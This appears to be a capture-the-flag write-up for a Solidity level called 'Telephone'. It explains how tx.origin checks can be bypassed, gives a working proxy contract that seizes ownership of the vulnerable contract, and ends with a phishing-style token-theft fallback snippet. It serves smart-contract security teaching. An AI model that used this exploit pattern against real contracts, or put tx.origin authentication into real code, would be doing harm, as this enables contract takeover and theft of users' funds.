Page cover image

Telephone

tx.origin

Description

Claim ownership of the contract below to complete this level.

Things that might help:

  • See the Help page above, section "Beyond the console"

Background Knowledge

tx.origin

tx.origin is like msg.sender, but it is vulnerable.

  • tx.origin:

    • the original user wallet that initiated the transaction

    • the origin address of potentially an entire chain of transactions and calls

    • only user wallet addresses can be the tx.origin, not contract address

  • msg.sender:

    • both user wallets and smart contracts can be the msg.sender

    • checks where the external function call directly came from

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.

Solution

Write a "proxy" contract in Remix IDE:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './Telephone.sol';

contract TelephoneAttack {

    Telephone telephone;

    constructor(address _address) public {
        telephone = Telephone(_address);
    }

    function changeOwner(address _address) public {
        telephone.changeOwner(_address);
    }
}

When we call changeOwner() from the TelephoneAttack contract, tx.origin is our Metamask wallet address. When telephone.changeOwner(_address) is triggered, msg.sender is address of the TelephoneAttack contract. This satisfies the if (tx.origin != msg.sender) check and thus owner will be updated to the _owner argument we passed into the changeOwner() function call.

Deploy it and feed in the original contract address:

Feed in your Metamask wallet address and click "changeOwner":

Click "Submit instance" and move on to the next level.

Summary

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.

An example of a possible attack is outlined below.

  • Use tx.origin to determine whose tokens to transfer, e.g.

function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  • Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

function () payable {
  token.transfer(attackerAddress, 10000);
}
  • In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

Last updated